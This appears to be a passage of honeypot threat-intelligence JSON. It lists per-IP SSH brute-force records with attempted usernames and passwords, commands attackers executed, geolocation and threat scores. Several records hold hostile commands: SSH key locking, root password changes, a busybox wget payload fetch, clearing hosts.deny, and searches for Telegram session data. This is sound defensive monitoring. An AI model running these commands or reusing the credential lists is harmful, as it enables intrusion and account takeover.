      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 153,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T01:10:26.620000+00:00",
        "last_seen_30d": "2026-03-11T01:29:20.197000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 123,
        "Suricata": 30
      }
    },
    "118.139.164.171": {
      "attack_count": 119,
      "first_seen": "2026-03-08T03:10:48.612Z",
      "last_seen": "2026-03-08T03:34:14.982Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "manager",
        "345gs5662d34",
        "choi",
        "ken",
        "kobo",
        "mcuser",
        "root",
        "sm",
        "srvadmin",
        "tunnel",
        "wialon"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Tunnel123",
        "admin22",
        "manager123!",
        "mcuser",
        "password",
        "sm123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"manager123!\\nbU9cZBHVBob2\\nbU9cZBHVBob2\\n\"|passwd",
        "echo -e \"manager123!\\nbU9cZBHVBob2\\nbU9cZBHVBob2\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 26496,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 8.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T03:10:48.612000+00:00",
        "last_seen_30d": "2026-03-08T03:35:17.488000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "162.240.148.15": {
      "attack_count": 119,
      "first_seen": "2026-03-09T16:16:52.783Z",
      "last_seen": "2026-03-09T16:37:31.896Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "music",
        "345gs5662d34",
        "amin",
        "ec2-user",
        "exx",
        "installer",
        "krishna",
        "newusername",
        "passbolt",
        "root",
        "valheim"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Amin123",
        "Installer123!",
        "Passbolt123",
        "Zx123456",
        "newusername123",
        "valheim"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\nOoqEoSKbfZmV\\nOoqEoSKbfZmV\\n\"|passwd",
        "echo -e \"123456\\nOoqEoSKbfZmV\\nOoqEoSKbfZmV\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 46606,
      "as_org": "Unified Layer",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T16:16:52.783000+00:00",
        "last_seen_30d": "2026-03-09T16:38:36.168000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "121.52.147.5": {
      "attack_count": 118,
      "first_seen": "2026-03-05T17:15:38.440Z",
      "last_seen": "2026-03-05T17:44:52.101Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!qaz2wsx#edc",
        "12345tgb",
        "3245gs5662d34",
        "345gs5662d34",
        "7894561230",
        "Password123",
        "Setup123",
        "Zxc",
        "asd789456",
        "p_word",
        "platinum1234",
        "rdp!@#$%1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:9GIAdg5M5wl6\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 45773,
      "as_org": "PERN AS Content Servie Provider, Islamabad, Pakistan",
      "threat_score": 4.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T17:15:38.440000+00:00",
        "last_seen_30d": "2026-03-05T17:45:53.818000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 30
      }
    },
    "202.184.159.103": {
      "attack_count": 114,
      "first_seen": "2026-03-03T05:32:01.597Z",
      "last_seen": "2026-03-03T06:06:52.481Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1233218613",
        "123456Aa.",
        "6yhn^YHN",
        "Cloud@2025",
        "Hm123456@",
        "Mr123456",
        "Zhu12345",
        "Zj123456@",
        "ch123456",
        "qwerty123123",
        "welcome@2024"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Cyberjaya",
      "asn": 9930,
      "as_org": "TIME dotCom Berhad No. 14, Jalan Majistret U126 Hicom Glenmarie Industrial Park 40150 Shah Al",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 163,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T05:32:01.597000+00:00",
        "last_seen_30d": "2026-03-03T06:08:01.989000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 114,
        "Suricata": 49
      }
    },
    "171.61.18.106": {
      "attack_count": 91,
      "first_seen": "2026-03-04T08:01:38.275Z",
      "last_seen": "2026-03-04T08:32:47.172Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123123123",
        "1Qazxsw@",
        "A123123a",
        "A@123456",
        "Aa123456!",
        "Bingo@1993",
        "Ga123456",
        "Qwe123",
        "check123",
        "kostas",
        "wang@123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Ludhiana",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 127,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T08:01:38.275000+00:00",
        "last_seen_30d": "2026-03-04T08:33:48.750000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 91,
        "Suricata": 36
      }
    },
    "160.187.240.90": {
      "attack_count": 68,
      "first_seen": "2026-03-03T00:07:35.995Z",
      "last_seen": "2026-03-03T00:38:37.090Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin1",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "1233218613f",
        "123qwe,./",
        "3245gs5662d34",
        "345gs5662d34",
        "A4444444",
        "Secure@123",
        "a123.123.123a",
        "aA!123456",
        "abc123456.",
        "cassia",
        "passw0rd!"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135983,
      "as_org": "Tino Group Joint Stock Company",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 98,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T00:07:35.995000+00:00",
        "last_seen_30d": "2026-03-03T00:39:40.691000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 68,
        "Suricata": 30
      }
    },
    "193.32.162.82": {
      "attack_count": 54,
      "first_seen": "2026-03-24T05:22:51.482Z",
      "last_seen": "2026-03-28T02:54:54.510Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root",
        "caoxuelian",
        "csx",
        "liyu",
        "syxue3",
        "zhangweichen"
      ],
      "passwords_attempted": [
        "123456",
        "!qaz@WSX#edc",
        "Password22",
        "diesel1990",
        "password2010"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 32.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.3,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 86,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T17:49:16.131000+00:00",
        "last_seen_30d": "2026-03-28T02:55:54.925000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 54,
        "Suricata": 32
      }
    },
    "122.246.157.76": {
      "attack_count": 50,
      "first_seen": "2026-03-09T23:18:54.826Z",
      "last_seen": "2026-03-09T23:24:20.158Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 8.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T23:18:54.826000+00:00",
        "last_seen_30d": "2026-03-09T23:25:26.712000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "59.103.86.150": {
      "attack_count": 50,
      "first_seen": "2026-03-14T23:49:11.740Z",
      "last_seen": "2026-03-14T23:54:35.467Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 17557,
      "as_org": "Pakistan Telecommunication Company Limited",
      "threat_score": 14.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T23:49:11.740000+00:00",
        "last_seen_30d": "2026-03-14T23:55:38.388000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "202.111.131.137": {
      "attack_count": 48,
      "first_seen": "2026-03-29T17:48:14.776Z",
      "last_seen": "2026-03-29T17:53:26.279Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 29.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T17:48:14.776000+00:00",
        "last_seen_30d": "2026-03-29T17:54:32.190000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "38.188.160.75": {
      "attack_count": 43,
      "first_seen": "2026-03-10T23:05:10.465Z",
      "last_seen": "2026-03-11T00:38:24.847Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "01021983",
        "123321a",
        "270683",
        "answer",
        "babyboo",
        "barthelemy",
        "gsxr600",
        "salope69"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 66,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:05:10.465000+00:00",
        "last_seen_30d": "2026-03-11T00:39:29.401000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 43,
        "Suricata": 23
      }
    },
    "141.98.11.83": {
      "attack_count": 38,
      "first_seen": "2026-03-03T05:24:06.490Z",
      "last_seen": "2026-03-03T05:24:31.661Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "zzidc!$!%1415",
        "zzzzzzz",
        "{kkik{{nn|ksen",
        "~!@#$%^&*(",
        "~!@`12"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo",
        "dmesg | grep irtual",
        "dmidecode | grep Vendor | head -n 1",
        "dmidecode|grep Vendor|head -n 1",
        "free -m",
        "lspci | grep irti",
        "ps -x",
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.size",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed"
      ],
      "country": "Lithuania",
      "country_code": "LT",
      "city": "Vilnius",
      "asn": 209605,
      "as_org": "UAB Host Baltic",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.1,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 206,
        "days_active_30d": 2,
        "ports_targeted_30d": 42,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T20:38:44+00:00",
        "last_seen_30d": "2026-03-03T16:15:58.646000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Suricata": 127,
        "Honeytrap": 39,
        "Cowrie": 38,
        "Adbhoney": 2
      }
    },
    "77.218.53.7": {
      "attack_count": 35,
      "first_seen": "2026-03-03T22:17:39.332Z",
      "last_seen": "2026-03-03T22:18:44.866Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "admin",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Gothenburg",
      "asn": 1257,
      "as_org": "Tele2 SWIPnet",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T22:17:39.332000+00:00",
        "last_seen_30d": "2026-03-03T22:19:45.938000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 4
      }
    },
    "120.85.115.3": {
      "attack_count": 33,
      "first_seen": "2026-03-22T14:58:48.600Z",
      "last_seen": "2026-03-22T14:58:59.948Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "root"
      ],
      "commands_executed": [
        "config terminal",
        "echo -ne \\x45\\x4c\\x46",
        "linuxshell",
        "shell",
        "start",
        "system",
        "./i",
        "/bin/busybox wget;/bin/busybox echo -ne '\\x45\\x4c\\x46'",
        "cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\\x45\\x4c\\x46'",
        "cp /bin/ls ii ; cat i > ii ; rm i ; cp ii i ; rm ii",
        "enable",
        "sh",
        "su",
        "wget",
        "wget http://192.168.1.1:8088/i"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.command.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 17622,
      "as_org": "China Unicom Guangzhou network",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T14:58:48.600000+00:00",
        "last_seen_30d": "2026-03-22T15:00:03.341000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 33,
        "Suricata": 4
      }
    },
    "103.244.172.123": {
      "attack_count": 30,
      "first_seen": "2026-03-20T13:33:40.819Z",
      "last_seen": "2026-03-20T13:36:55.300Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 18.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T13:33:40.819000+00:00",
        "last_seen_30d": "2026-03-20T13:37:56.352000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "164.92.150.101": {
      "attack_count": 30,
      "first_seen": "2026-03-03T07:44:04.645Z",
      "last_seen": "2026-03-03T07:50:23.162Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "12345678",
        "admin",
        "password"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T07:44:04.645000+00:00",
        "last_seen_30d": "2026-03-03T07:51:27.804000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 13
      }
    },
    "38.188.160.3": {
      "attack_count": 28,
      "first_seen": "2026-03-10T23:23:30.415Z",
      "last_seen": "2026-03-11T00:38:43.489Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "120387",
        "160788",
        "26061985",
        "iss",
        "vicecity"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:23:30.415000+00:00",
        "last_seen_30d": "2026-03-11T00:39:52.296000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "64.23.249.123": {
      "attack_count": 24,
      "first_seen": "2026-03-12T17:28:56.185Z",
      "last_seen": "2026-03-12T19:52:30.348Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Pn2Hetzner2026x",
        "Quantish0racle!2026"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T17:25:07.866000+00:00",
        "last_seen_30d": "2026-03-12T19:53:31.165000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 16
      }
    },
    "175.174.84.104": {
      "attack_count": 22,
      "first_seen": "2026-03-30T07:48:38.949Z",
      "last_seen": "2026-03-30T07:49:53.314Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 34,
